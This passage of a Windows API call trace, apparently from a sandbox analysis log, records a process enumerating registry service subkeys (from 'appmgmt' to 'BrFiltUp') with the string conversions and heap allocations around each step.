lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appmgmt", lpUsedDefaultChar=0x0) returned 7 [0236.557] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.557] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0236.557] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.557] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.557] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1e, lpName=0x2152850, cchName=0x104 | out: lpName="arc") returned 0x0 [0236.557] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.557] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0236.557] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.557] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x21f1a48, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arc", lpUsedDefaultChar=0x0) returned 3 [0236.557] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0236.557] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.557] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0236.557] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.557] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1f, lpName=0x2152850, cchName=0x104 | out: lpName="arcsas") returned 0x0 [0236.557] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.557] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0236.557] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0236.558] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x21f1a90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arcsas", lpUsedDefaultChar=0x0) returned 6 [0236.558] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.558] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0236.558] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.558] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.558] RegEnumKeyW (in: hKey=0x150, dwIndex=0x20, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0236.558] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.558] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0236.558] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.558] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0236.558] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0236.558] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.558] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0236.558] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.558] RegEnumKeyW (in: hKey=0x150, dwIndex=0x21, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET_4.0.30319") returned 0x0 [0236.558] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.558] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0236.558] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0236.558] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x21f1a90, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net_4.0.30319", lpUsedDefaultChar=0x0) returned 17 [0236.558] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.558] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0236.558] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.558] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.558] RegEnumKeyW (in: hKey=0x150, dwIndex=0x22, lpName=0x2152850, cchName=0x104 | out: lpName="aspnet_state") returned 0x0 [0236.558] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.558] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0236.558] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.558] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x21f1a48, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aspnet_state", lpUsedDefaultChar=0x0) returned 12 [0236.558] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0236.558] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.558] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0236.558] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.558] RegEnumKeyW (in: hKey=0x150, dwIndex=0x23, lpName=0x2152850, cchName=0x104 | out: lpName="AsyncMac") returned 0x0 [0236.559] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.559] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0236.559] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0236.559] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asyncmac", lpUsedDefaultChar=0x0) returned 8 [0236.559] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.559] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0236.559] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.559] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.559] RegEnumKeyW (in: hKey=0x150, dwIndex=0x24, lpName=0x2152850, cchName=0x104 | out: lpName="atapi") returned 0x0 [0236.559] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.559] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0236.559] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.559] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x21f1a48, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="atapi", lpUsedDefaultChar=0x0) returned 5 [0236.559] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0236.559] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.559] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0236.559] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.559] RegEnumKeyW (in: hKey=0x150, dwIndex=0x25, lpName=0x2152850, cchName=0x104 | out: lpName="AudioEndpointBuilder") returned 0x0 [0236.559] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.559] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0236.559] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0236.559] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x21f1a90, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audioendpointbuilder", lpUsedDefaultChar=0x0) returned 20 [0236.559] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.559] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0236.559] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.559] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.559] RegEnumKeyW (in: hKey=0x150, dwIndex=0x26, lpName=0x2152850, cchName=0x104 | out: lpName="AudioSrv") returned 0x0 [0236.559] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.559] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0236.559] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.559] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audiosrv", lpUsedDefaultChar=0x0) returned 8 [0236.559] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0236.559] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.560] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0236.560] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.560] RegEnumKeyW (in: hKey=0x150, dwIndex=0x27, lpName=0x2152850, cchName=0x104 | out: lpName="AxInstSV") returned 0x0 [0236.560] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.560] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0236.560] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0236.560] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="axinstsv", lpUsedDefaultChar=0x0) returned 8 [0236.560] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.560] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0236.560] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.560] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.560] RegEnumKeyW (in: hKey=0x150, dwIndex=0x28, lpName=0x2152850, cchName=0x104 | out: lpName="b06bdrv") returned 0x0 [0236.560] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.560] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0236.560] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.560] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b06bdrv", lpUsedDefaultChar=0x0) returned 7 [0236.560] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0236.560] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.560] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0236.560] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.560] RegEnumKeyW (in: hKey=0x150, dwIndex=0x29, lpName=0x2152850, cchName=0x104 | out: lpName="b57nd60a") returned 0x0 [0236.560] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.560] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0236.560] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0236.560] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b57nd60a", lpUsedDefaultChar=0x0) returned 8 [0236.560] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.560] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0236.560] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.560] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.560] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2a, lpName=0x2152850, cchName=0x104 | out: lpName="BattC") returned 0x0 [0236.560] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.561] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0236.561] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.561] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x21f1a48, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="battc", lpUsedDefaultChar=0x0) returned 5 [0236.561] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0236.561] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.561] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0236.561] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.561] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2b, lpName=0x2152850, cchName=0x104 | out: lpName="BDESVC") returned 0x0 [0236.561] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.561] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0236.561] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0236.561] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x21f1a90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bdesvc", lpUsedDefaultChar=0x0) returned 6 [0236.561] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.561] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0236.561] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.561] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.561] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2c, lpName=0x2152850, cchName=0x104 | out: lpName="Beep") returned 0x0 [0236.561] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.561] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0236.561] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.561] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x21f1a48, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="beep", lpUsedDefaultChar=0x0) returned 4 [0236.561] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0236.561] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.561] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0236.561] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.561] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2d, lpName=0x2152850, cchName=0x104 | out: lpName="BFE") returned 0x0 [0236.561] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.561] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0236.561] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0236.561] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x21f1a90, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bfe", lpUsedDefaultChar=0x0) returned 3 [0236.561] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.561] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0236.561] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.561] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.562] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2e, lpName=0x2152850, cchName=0x104 | out: lpName="BITS") returned 0x0 [0236.562] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.562] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0236.562] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.562] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x21f1a48, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0236.562] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0236.562] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.562] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0236.562] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.562] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2f, lpName=0x2152850, cchName=0x104 | out: lpName="blbdrive") returned 0x0 [0236.562] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.562] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0236.562] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0236.562] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blbdrive", lpUsedDefaultChar=0x0) returned 8 [0236.562] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.562] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0236.562] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.562] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.562] RegEnumKeyW (in: hKey=0x150, dwIndex=0x30, lpName=0x2152850, cchName=0x104 | out: lpName="bowser") returned 0x0 [0236.562] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.562] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0236.562] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.562] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x21f1a48, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bowser", lpUsedDefaultChar=0x0) returned 6 [0236.562] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0236.562] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.562] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0236.562] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.562] RegEnumKeyW (in: hKey=0x150, dwIndex=0x31, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltLo") returned 0x0 [0236.562] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.562] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0236.562] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0236.562] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltlo", lpUsedDefaultChar=0x0) returned 8 [0236.562] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.563] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0236.563] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.563] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.563] RegEnumKeyW (in: hKey=0x150, dwIndex=0x32, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltUp") returned 0x0 [0236.563] RtlAllocateHeap (HeapHandle=0x2520000, 